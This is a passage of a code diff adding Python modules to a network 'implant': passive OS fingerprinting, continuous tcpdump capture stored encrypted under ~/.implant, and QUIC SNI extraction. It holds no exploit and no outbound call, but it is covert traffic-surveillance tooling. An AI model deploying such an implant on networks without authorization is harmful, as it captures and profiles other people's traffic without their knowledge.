VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(src_ip, dst_ip, protocol, port)
DO UPDATE SET
bytes_total = bytes_total + excluded.bytes_total,
packets = packets + excluded.packets,
last_seen = MAX(last_seen, excluded.last_seen)""",
(src, dst, proto, port, data["bytes"], data["packets"],
data["first_seen"], data["last_seen"], rel),
)
except Exception:
logger.exception("Failed to flush connections to DB")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_to_db()
except Exception:
logger.exception("Flush loop error")
def _snapshot_loop(self) -> None:
"""Periodic snapshots for change_detector consumption."""
while self._running:
time.sleep(SNAPSHOT_INTERVAL)
try:
dot_output = self.generate_dot()
snapshot_dir = os.path.join(
os.path.dirname(self._db_path), "snapshots"
)
Path(snapshot_dir).mkdir(parents=True, exist_ok=True)
filename = f"netmap_{int(time.time())}.dot"
filepath = os.path.join(snapshot_dir, filename)
with open(filepath, "w") as f:
f.write(dot_output)
self._stats["snapshots_taken"] += 1
# Publish snapshot event for change_detector
self.bus.emit("CHANGE_DETECTED", {
"module": self.name,
"snapshot_path": filepath,
"hosts_count": self._stats["hosts_seen"],
"connections_count": self._stats["unique_connections"],
}, source_module=self.name)
except Exception:
logger.exception("Snapshot loop error")
+623
View File
@@ -0,0 +1,623 @@
#!/usr/bin/env python3
"""Passive OS fingerprinting via p0f-style TCP analysis and protocol headers.
Analyzes:
- TCP SYN/SYN-ACK: TTL, window size, DF flag, MSS, SACK, TCP timestamps
- HTTP User-Agent headers
- DHCP vendor class identifiers
- SMB dialect negotiation
- SSH version strings
Multiple signal sources produce confidence scoring per host. Results are
merged with the hosts table from host_discovery.
"""
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# p0f-style TCP signature database (built-in fallback)
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
TCP_SIG_DB = [
# Linux signatures
{"ttl": (64, 64), "df": True, "window": (5720, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "Linux", "os_version": "2.6+"},
# Windows signatures
{"ttl": (128, 128), "df": True, "window": (8192, 65535), "mss": (1360, 1460),
"sack": True, "ts": False, "os_family": "Windows", "os_version": "7/10/Server"},
{"ttl": (128, 128), "df": True, "window": (8192, 8192), "mss": (1360, 1460),
"sack": True, "ts": False, "os_family": "Windows", "os_version": "XP/2003"},
# macOS / iOS
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "macOS", "os_version": "10.x+"},
# FreeBSD
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "FreeBSD", "os_version": ""},
# Cisco IOS
{"ttl": (255, 255), "df": False, "window": (4128, 4128), "mss": (536, 536),
"sack": False, "ts": False, "os_family": "Cisco", "os_version": "IOS"},
# Solaris
{"ttl": (255, 255), "df": False, "window": (49232, 49232), "mss": (1360, 1460),
"sack": False, "ts": True, "os_family": "Solaris", "os_version": "10+"},
]
# HTTP User-Agent patterns
UA_PATTERNS = [
(re.compile(r"Windows NT 10\.0"), "Windows", "10/11"),
(re.compile(r"Windows NT 6\.3"), "Windows", "8.1"),
(re.compile(r"Windows NT 6\.2"), "Windows", "8"),
(re.compile(r"Windows NT 6\.1"), "Windows", "7"),
(re.compile(r"Windows NT 5\.1"), "Windows", "XP"),
(re.compile(r"Mac OS X (\d+[._]\d+)"), "macOS", ""),
(re.compile(r"Linux"), "Linux", ""),
(re.compile(r"Ubuntu"), "Linux", "Ubuntu"),
(re.compile(r"Android (\d+)"), "Android", ""),
(re.compile(r"iPhone OS (\d+)"), "iOS", ""),
(re.compile(r"iPad.*OS (\d+)"), "iPadOS", ""),
(re.compile(r"CrOS"), "ChromeOS", ""),
]
class OSFingerprint(BaseModule):
"""Passive OS fingerprinting via TCP/protocol analysis."""
name = "os_fingerprint"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 200
FLUSH_INTERVAL = 120
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_fingerprints = 0
# Per-IP confidence tracker: ip -> {os_family: {method: confidence}}
self._ip_os_scores = {}
self._scores_lock = threading.Lock()
# External signature database
self._os_sigs = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("OSFingerprint requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "os_fingerprints.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load external OS signatures
sigs_path = self.config.get("os_sigs_db", "")
if sigs_path and os.path.isfile(sigs_path):
self._load_os_sigs(sigs_path)
# Subscribe to SYN packets + HTTP/SMB/SSH for protocol fingerprinting
# Using a broad filter; the module parses selectively
bpf = "tcp[tcpflags] & (tcp-syn) != 0"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=8000
)
# Second subscription for application-layer fingerprints
# We use a broader capture for HTTP/SMB/SSH — but since capture_bus
# only supports one subscription per module name, we parse app-layer
# from the same stream by also checking non-SYN packets that match
# We subscribe with an empty filter to get everything and filter in code
# Actually, let's keep SYN filter and add a second subscriber
self._capture_bus.unsubscribe(self.name)
self._sub_queue = self._capture_bus.subscribe(
name=self.name,
bpf_filter="tcp", # All TCP — we filter SYN and app-layer in code
queue_depth=10000,
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-osfp-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-osfp-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("OSFingerprint started — passive TCP/protocol analysis")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("OSFingerprint stopped — %d fingerprints collected", self._total_fingerprints)
def status(self) -> dict:
with self._scores_lock:
unique_hosts = len(self._ip_os_scores)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_fingerprints": self._total_fingerprints,
"unique_hosts": unique_hosts,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS os_fingerprints (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT NOT NULL,
method TEXT NOT NULL,
signature TEXT,
os_family TEXT,
os_version TEXT,
confidence REAL,
timestamp REAL NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_osfp_ip ON os_fingerprints(ip);
CREATE INDEX IF NOT EXISTS idx_osfp_family ON os_fingerprints(os_family);
""")
self._db_conn.commit()
def _load_os_sigs(self, path: str) -> None:
"""Load OS signature database from SQLite."""
try:
conn = sqlite3.connect(path)
rows = conn.execute(
"SELECT ttl, window, df, mss, sack, timestamps, os_family, os_version "
"FROM signatures"
).fetchall()
for row in rows:
self._os_sigs.append({
"ttl": (row[0], row[0]),
"window": (row[1], row[1]),
"df": bool(row[2]),
"mss": (row[3], row[3]),
"sack": bool(row[4]),
"ts": bool(row[5]),
"os_family": row[6],
"os_version": row[7] or "",
})
conn.close()
logger.info("Loaded %d OS signatures from %s", len(self._os_sigs), path)
except Exception:
logger.warning("Failed to load OS signatures from %s", path)
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
ip_ttl = ip_hdr[8]
ip_flags = struct.unpack("!H", ip_hdr[6:8])[0]
df_flag = bool(ip_flags & 0x4000)
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
tcp_hdr = raw[tcp_offset:]
src_port, dst_port = struct.unpack("!HH", tcp_hdr[:4])
tcp_flags = tcp_hdr[13]
window = struct.unpack("!H", tcp_hdr[14:16])[0]
tcp_hdr_len = ((tcp_hdr[12] >> 4) & 0xF) * 4
syn = bool(tcp_flags & 0x02)
ack = bool(tcp_flags & 0x10)
# SYN or SYN-ACK — do TCP fingerprinting
if syn:
self._fingerprint_tcp_syn(
ts, src_ip, ip_ttl, df_flag, window,
tcp_hdr[:tcp_hdr_len], syn_ack=ack,
)
# Application-layer fingerprinting for non-SYN packets with payload
if not syn:
payload = raw[tcp_offset + tcp_hdr_len:]
if payload:
if src_port == 80 or dst_port == 80 or src_port == 8080 or dst_port == 8080:
self._fingerprint_http(ts, src_ip, dst_ip, src_port, payload)
elif src_port == 22 or dst_port == 22:
self._fingerprint_ssh(ts, src_ip, src_port, payload)
elif src_port == 445 or dst_port == 445:
self._fingerprint_smb(ts, src_ip, src_port, payload)
# ------------------------------------------------------------------
# TCP SYN fingerprinting (p0f-style)
# ------------------------------------------------------------------
def _fingerprint_tcp_syn(self, ts: float, ip: str, ttl: int,
df: bool, window: int, tcp_header: bytes,
syn_ack: bool = False) -> None:
"""Analyze TCP SYN/SYN-ACK options for OS fingerprinting."""
# Parse TCP options
mss = 0
has_sack = False
has_timestamps = False
wscale = 0
if len(tcp_header) > 20:
opt_offset = 20
while opt_offset < len(tcp_header):
opt_kind = tcp_header[opt_offset]
if opt_kind == 0: # End of options
break
if opt_kind == 1: # NOP
opt_offset += 1
continue
if opt_offset + 1 >= len(tcp_header):
break
opt_len = tcp_header[opt_offset + 1]
if opt_len < 2 or opt_offset + opt_len > len(tcp_header):
break
if opt_kind == 2 and opt_len == 4: # MSS
mss = struct.unpack("!H", tcp_header[opt_offset + 2:opt_offset + 4])[0]
elif opt_kind == 3 and opt_len == 3: # Window Scale
wscale = tcp_header[opt_offset + 2]
elif opt_kind == 4: # SACK Permitted
has_sack = True
elif opt_kind == 8: # Timestamps
has_timestamps = True
opt_offset += opt_len
# Normalize TTL to nearest power-of-2 boundary
initial_ttl = self._normalize_ttl(ttl)
# Build signature string
sig = f"ttl:{initial_ttl}:win:{window}:mss:{mss}:df:{int(df)}:sack:{int(has_sack)}:ts:{int(has_timestamps)}:wscale:{wscale}"
# Match against signature database
os_family, os_version, confidence = self._match_tcp_signature(
initial_ttl, window, df, mss, has_sack, has_timestamps,
)
if os_family:
method = "tcp_syn_ack" if syn_ack else "tcp_syn"
self._record_fingerprint(ts, ip, method, sig, os_family, os_version, confidence)
def _match_tcp_signature(self, ttl: int, window: int, df: bool,
mss: int, sack: bool, timestamps: bool) -> tuple:
"""Match TCP parameters against signature database."""
best_match = ("", "", 0.0)
best_score = 0
sig_sources = self._os_sigs if self._os_sigs else TCP_SIG_DB
for sig in sig_sources:
score = 0
total = 6
ttl_lo, ttl_hi = sig["ttl"]
if ttl_lo <= ttl <= ttl_hi:
score += 2 # TTL is weighted higher
win_lo, win_hi = sig["window"]
if win_lo <= window <= win_hi:
score += 1
if sig["df"] == df:
score += 1
mss_lo, mss_hi = sig["mss"]
if mss_lo <= mss <= mss_hi:
score += 1
if sig["sack"] == sack:
score += 0.5
if sig["ts"] == timestamps:
score += 0.5
if score > best_score:
best_score = score
confidence = score / total
best_match = (sig["os_family"], sig["os_version"], confidence)
return best_match
@staticmethod
def _normalize_ttl(ttl: int) -> int:
"""Estimate initial TTL from observed TTL."""
if ttl <= 32:
return 32
elif ttl <= 64:
return 64
elif ttl <= 128:
return 128
else:
return 255
# ------------------------------------------------------------------
# Application-layer fingerprinting
# ------------------------------------------------------------------
def _fingerprint_http(self, ts: float, src_ip: str, dst_ip: str,
src_port: int, payload: bytes) -> None:
"""Extract OS info from HTTP User-Agent headers."""
try:
text = payload[:4096].decode("utf-8", errors="ignore")
except Exception:
return
ua_match = re.search(r"User-Agent:\s*(.+?)(?:\r\n|\n)", text, re.IGNORECASE)
if not ua_match:
return
ua = ua_match.group(1).strip()
# The User-Agent is from the client (request sender)
# If src_port is ephemeral (>1024), this is a client
if src_port > 1024:
fp_ip = src_ip
else:
fp_ip = dst_ip
for pattern, os_family, os_version in UA_PATTERNS:
m = pattern.search(ua)
if m:
version = os_version
if not version and m.lastindex:
version = m.group(1).replace("_", ".")
self._record_fingerprint(
ts, fp_ip, "http_ua", ua[:200],
os_family, version, 0.7,
)
break
def _fingerprint_ssh(self, ts: float, ip: str, src_port: int,
payload: bytes) -> None:
"""Extract OS info from SSH version string."""
try:
text = payload[:256].decode("ascii", errors="ignore")
except Exception:
return
if not text.startswith("SSH-"):
return
# SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
version_str = text.strip()
# The SSH server sends its banner — src_port should be 22
fp_ip = ip if src_port == 22 else ip
os_family = ""
os_version = ""
if "Ubuntu" in version_str:
os_family = "Linux"
os_version = "Ubuntu"
elif "Debian" in version_str:
os_family = "Linux"
os_version = "Debian"
elif "FreeBSD" in version_str:
os_family = "FreeBSD"
elif "OpenSSH" in version_str:
# Generic OpenSSH — likely Linux or BSD
os_family = "Linux/BSD"
if os_family:
self._record_fingerprint(
ts, fp_ip, "ssh_banner", version_str[:200],
os_family, os_version, 0.8,
)
def _fingerprint_smb(self, ts: float, ip: str, src_port: int,
payload: bytes) -> None:
"""Extract OS info from SMB negotiate response."""
# SMB2 header: 0xFE 'S' 'M' 'B'
if len(payload) < 68:
return
# Look for SMB2 header
smb2_offset = payload.find(b"\xfeSMB")
if smb2_offset < 0:
# Try SMB1
smb1_offset = payload.find(b"\xffSMB")
if smb1_offset >= 0 and src_port == 445:
self._record_fingerprint(
ts, ip, "smb_dialect", "SMB1",
"Windows", "XP/2003 or Samba", 0.5,
)
return
# SMB2 negotiate response from server (src_port 445)
if src_port != 445:
return
smb2_data = payload[smb2_offset:]
if len(smb2_data) < 68:
return
# SMB2 header is 64 bytes, then negotiate response
# Dialect at offset 4-5 of negotiate response (after 64-byte header)
neg_response = smb2_data[64:]
if len(neg_response) < 6:
return
# struct_size(2) + security_mode(2) + dialect_revision(2)
dialect = struct.unpack("<H", neg_response[4:6])[0]
dialect_map = {
0x0202: ("Windows", "Vista/2008 or Samba"),
0x0210: ("Windows", "7/2008R2"),
0x0300: ("Windows", "8/2012"),
0x0302: ("Windows", "8.1/2012R2"),
0x0311: ("Windows", "10/2016+"),
}
if dialect in dialect_map:
os_family, os_version = dialect_map[dialect]
self._record_fingerprint(
ts, ip, "smb_dialect", f"SMB{dialect:#06x}",
os_family, os_version, 0.75,
)
# ------------------------------------------------------------------
# Record management
# ------------------------------------------------------------------
def _record_fingerprint(self, ts: float, ip: str, method: str,
signature: str, os_family: str,
os_version: str, confidence: float) -> None:
"""Record an OS fingerprint observation."""
self._total_fingerprints += 1
# Update per-IP confidence scoring
with self._scores_lock:
if ip not in self._ip_os_scores:
self._ip_os_scores[ip] = {}
scores = self._ip_os_scores[ip]
if os_family not in scores:
scores[os_family] = {}
scores[os_family][method] = confidence
record = (ip, method, signature[:500], os_family, os_version, confidence, ts)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
def get_best_guess(self, ip: str) -> dict:
"""Get the highest-confidence OS guess for an IP."""
with self._scores_lock:
scores = self._ip_os_scores.get(ip, {})
if not scores:
return {"os_family": "", "confidence": 0.0}
# Aggregate confidence per OS family
best_family = ""
best_conf = 0.0
for os_family, methods in scores.items():
# Average confidence across methods, boosted by method count
avg_conf = sum(methods.values()) / len(methods)
method_bonus = min(len(methods) * 0.1, 0.3) # Up to 30% bonus
total_conf = min(avg_conf + method_bonus, 1.0)
if total_conf > best_conf:
best_conf = total_conf
best_family = os_family
return {"os_family": best_family, "confidence": round(best_conf, 2)}
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("OS fingerprint flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO os_fingerprints "
"(ip, method, signature, os_family, os_version, confidence, timestamp) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d OS fingerprints", len(batch))
+379
View File
@@ -0,0 +1,379 @@
#!/usr/bin/env python3
"""Full packet capture via tcpdump with post-rotation compression and encryption.
Manages tcpdump as a supervised subprocess. After each PCAP rotation:
1. Compress with zstd (level configurable per platform)
2. Encrypt with AES-256-GCM
3. Remove plaintext PCAP
4. Publish PCAP_ROTATED event
Disk monitoring auto-purges oldest encrypted PCAPs at 85% threshold.
"""
import glob
import logging
import os
import shutil
import signal
import struct
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.networking import detect_interface_with_retry
logger = logging.getLogger(__name__)
class PacketCapture(BaseModule):
"""Manage tcpdump for continuous full packet capture with rotation."""
name = "packet_capture"
module_type = "passive"
priority = 50
requires_root = True
requires_capture_bus = True
# Defaults
DEFAULT_INTERFACE = "eth0"
DEFAULT_SNAP_LEN = 65535
DEFAULT_ROTATION_SECS = 3600
DEFAULT_MAX_FILES = 168 # 7 days at 1h rotation
DEFAULT_COMPRESSION_LEVEL = 3
DEFAULT_DISK_THRESHOLD = 85 # percent
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._watcher_thread: Optional[threading.Thread] = None
self._rotation_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
self._pcap_dir = ""
self._pcap_count = 0
self._bytes_written = 0
self._encryption_key = b""
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
iface = self.config.get("interface") or detect_interface_with_retry(
max_retries=3,
retry_delay=5,
exponential=True,
config_interface=self.DEFAULT_INTERFACE
)
snap_len = self.config.get("snap_length", self.DEFAULT_SNAP_LEN)
rotation = self.config.get("rotation_minutes", 60) * 60
if rotation <= 0:
rotation = self.DEFAULT_ROTATION_SECS
compress_level = self.config.get("compression_level", self.DEFAULT_COMPRESSION_LEVEL)
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
# Directories
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._pcap_dir = os.path.join(base_dir, "pcaps")
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
# Encryption key from config (derived by crypto module at startup)
self._encryption_key = self.config.get("encryption_key", b"")
if isinstance(self._encryption_key, str):
self._encryption_key = self._encryption_key.encode()
# Build tcpdump command
pcap_template = os.path.join(self._pcap_dir, "capture_%Y%m%d_%H%M%S.pcap")
cmd = [
"tcpdump",
"-i", iface,
"-G", str(rotation),
"-s", str(snap_len),
"-w", pcap_template,
"--time-stamp-precision=nano",
"-Z", "root", # don't drop privs (we need to read output files)
]
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
preexec_fn=os.setsid,
)
except FileNotFoundError:
logger.error("tcpdump binary not found")
return
except Exception as e:
logger.error("Failed to start tcpdump: %s", e)
return
self._running = True
self._pid = self._proc.pid
self._start_time = time.time()
# Watcher thread — monitors tcpdump stderr and detects crashes
self._watcher_thread = threading.Thread(
target=self._watch_tcpdump, daemon=True, name="sensor-pcap-watch"
)
self._watcher_thread.start()
# Rotation thread — scans for completed PCAPs to compress/encrypt
self._rotation_thread = threading.Thread(
target=self._rotation_loop,
args=(compress_level, disk_threshold),
daemon=True, name="sensor-pcap-rotate",
)
self._rotation_thread.start()
self.state.set_module_status(self.name, "running", pid=self._proc.pid)
logger.info(
"PacketCapture started — tcpdump PID %d, iface=%s, rotation=%ds, snap=%d",
self._proc.pid, iface, rotation, snap_len,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Graceful shutdown of tcpdump
if self._proc and self._proc.poll() is None:
try:
os.killpg(os.getpgid(self._proc.pid), signal.SIGTERM)
except (OSError, ProcessLookupError):
pass
try:
self._proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
try:
os.killpg(os.getpgid(self._proc.pid), signal.SIGKILL)
self._proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
self._pid = None
self.state.set_module_status(self.name, "stopped")
logger.info("PacketCapture stopped — %d PCAPs rotated", self._pcap_count)
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": alive,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"pcap_dir": self._pcap_dir,
"pcap_count": self._pcap_count,
"bytes_written": self._bytes_written,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# Live reconfig requires restart
if self._running:
logger.info("PacketCapture config changed — restarting tcpdump")
self.stop()
self.start()
# ------------------------------------------------------------------
# tcpdump watcher
# ------------------------------------------------------------------
def _watch_tcpdump(self) -> None:
"""Read tcpdump stderr for stats and detect exit."""
try:
for line in iter(self._proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").rstrip()
if decoded:
logger.debug("tcpdump: %s", decoded)
except Exception:
pass
# tcpdump exited
if self._running:
rc = self._proc.poll() if self._proc else -1
logger.warning("tcpdump exited unexpectedly (rc=%s)", rc)
self.bus.emit("TOOL_CRASHED", {
"tool": "tcpdump", "exit_code": rc,
}, source_module=self.name)
# ------------------------------------------------------------------
# Rotation loop — compress, encrypt, purge
# ------------------------------------------------------------------
def _rotation_loop(self, compress_level: int, disk_threshold: int) -> None:
"""Periodically scan for completed PCAPs and process them."""
while self._running:
time.sleep(30) # Check every 30 seconds
try:
self._process_completed_pcaps(compress_level)
self._check_disk_usage(disk_threshold)
except Exception:
logger.exception("Rotation loop error")
def _process_completed_pcaps(self, compress_level: int) -> None:
"""Find completed (not actively written) PCAPs and compress+encrypt."""
pattern = os.path.join(self._pcap_dir, "capture_*.pcap")
pcap_files = sorted(glob.glob(pattern))
for pcap_path in pcap_files:
# Skip the file tcpdump is currently writing to (most recent)
if self._is_file_locked(pcap_path):
continue
# Skip tiny files (likely incomplete)
try:
size = os.path.getsize(pcap_path)
if size < 24: # pcap global header minimum
continue
except OSError:
continue
compressed_path = pcap_path + ".zst"
encrypted_path = compressed_path + ".enc"
try:
# Step 1: Compress with zstd
self._compress_zstd(pcap_path, compressed_path, compress_level)
# Step 2: Encrypt with AES-256-GCM
if self._encryption_key:
self._encrypt_file(compressed_path, encrypted_path)
os.unlink(compressed_path)
final_path = encrypted_path
else:
final_path = compressed_path
# Step 3: Remove plaintext PCAP
os.unlink(pcap_path)
self._pcap_count += 1
final_size = os.path.getsize(final_path)
self._bytes_written += final_size
# Publish rotation event
self.bus.emit("PCAP_ROTATED", {
"path": final_path,
"original_size": size,
"final_size": final_size,
"compressed": True,
"encrypted": bool(self._encryption_key),
}, source_module=self.name)
logger.info(
"PCAP rotated: %s -> %s (%.1f%% ratio)",
os.path.basename(pcap_path),
os.path.basename(final_path),
(final_size / size * 100) if size > 0 else 0,
)
except Exception:
logger.exception("Failed to process PCAP %s", pcap_path)
@staticmethod
def _is_file_locked(path: str) -> bool:
"""Check if a file is still being written by tcpdump (via fuser)."""
try:
result = subprocess.run(
["fuser", path], capture_output=True, timeout=2
)
return result.returncode == 0
except Exception:
# If fuser not available, check if file was modified in last 5 seconds
try:
mtime = os.path.getmtime(path)
return (time.time() - mtime) < 5
except OSError:
return True
@staticmethod
def _compress_zstd(src: str, dst: str, level: int) -> None:
"""Compress a file with zstd."""
try:
import zstandard as zstd
cctx = zstd.ZstdCompressor(level=level)
with open(src, "rb") as fin, open(dst, "wb") as fout:
cctx.copy_stream(fin, fout)
except ImportError:
# Fallback to CLI zstd
subprocess.run(
["zstd", f"-{level}", "-f", "-o", dst, src],
check=True, capture_output=True,
)
def _encrypt_file(self, src: str, dst: str) -> None:
"""Encrypt a file with AES-256-GCM."""
try:
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
except ImportError:
logger.warning("cryptography not available — skipping encryption")
os.rename(src, dst)
return
key = self._encryption_key[:32].ljust(32, b"\x00")
nonce = os.urandom(12)
aesgcm = AESGCM(key)
with open(src, "rb") as f:
plaintext = f.read()
ciphertext = aesgcm.encrypt(nonce, plaintext, None)
with open(dst, "wb") as f:
# Header: magic(4) + nonce(12) + ciphertext
f.write(b"BB01")
f.write(nonce)
f.write(ciphertext)
def _check_disk_usage(self, threshold: int) -> None:
"""Auto-purge oldest encrypted PCAPs when disk usage exceeds threshold."""
try:
usage = shutil.disk_usage(self._pcap_dir)
pct = (usage.used / usage.total) * 100
except OSError:
return
if pct < threshold:
return
logger.warning("Disk usage %.1f%% exceeds threshold %d%% — purging oldest PCAPs", pct, threshold)
# Gather all encrypted/compressed PCAPs sorted by mtime
enc_files = sorted(
glob.glob(os.path.join(self._pcap_dir, "capture_*.pcap.zst*")),
key=os.path.getmtime,
)
purged = 0
for path in enc_files:
if not enc_files:
break
try:
os.unlink(path)
purged += 1
except OSError:
continue
# Re-check usage
try:
usage = shutil.disk_usage(self._pcap_dir)
if (usage.used / usage.total) * 100 < threshold - 5:
break
except OSError:
break
if purged:
logger.info("Purged %d old PCAPs to reclaim disk space", purged)
self.bus.emit("RESOURCE_WARNING", {
"type": "disk_purge",
"purged_count": purged,
"disk_pct": pct,
}, source_module=self.name)
+462
View File
@@ -0,0 +1,462 @@
#!/usr/bin/env python3
"""QUIC/HTTP3 SNI extractor — parse QUIC Initial packets for TLS ClientHello.
Decrypts QUIC Initial packets using connection-ID-derived keys per RFC 9001
(Initial keys are not secret — they are derived deterministically from the
Destination Connection ID). Extracts CRYPTO frames containing TLS ClientHello
and parses SNI from the Server Name extension.
"""
import hashlib
import hmac
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# QUIC constants
QUIC_LONG_HEADER_BIT = 0x80
QUIC_FIXED_BIT = 0x40
# QUIC versions
QUIC_V1 = 0x00000001
QUIC_V2 = 0x6B3343CF
# TLS extension type for SNI
TLS_EXT_SNI = 0x0000
TLS_HANDSHAKE_CLIENT_HELLO = 0x01
# QUIC Initial salt for v1 (RFC 9001, Section 5.2)
QUIC_V1_INITIAL_SALT = bytes.fromhex("38762cf7f55934b34d179ae6a4c80cadccbb7f0a")
# QUIC Initial salt for v2 (RFC 9369)
QUIC_V2_INITIAL_SALT = bytes.fromhex("0dede3def700a6db819381be6e269dcbf9bd2ed9")
# HKDF labels for QUIC Initial keys
QUIC_CLIENT_INITIAL_LABEL = b"client in"
_DB_INIT = """
CREATE TABLE IF NOT EXISTS quic_sni (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
sni TEXT NOT NULL,
quic_version TEXT DEFAULT ''
);
CREATE INDEX IF NOT EXISTS idx_quic_sni ON quic_sni(sni);
CREATE INDEX IF NOT EXISTS idx_quic_ts ON quic_sni(timestamp);
"""
FLUSH_INTERVAL = 30
class QUICAnalyzer(BaseModule):
"""Extract SNI from QUIC Initial packets."""
name = "quic_analyzer"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"quic_initials": 0,
"sni_extracted": 0,
"decrypt_failures": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("QUICAnalyzer requires _capture_bus in config")
return
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="udp port 443", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-quic-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
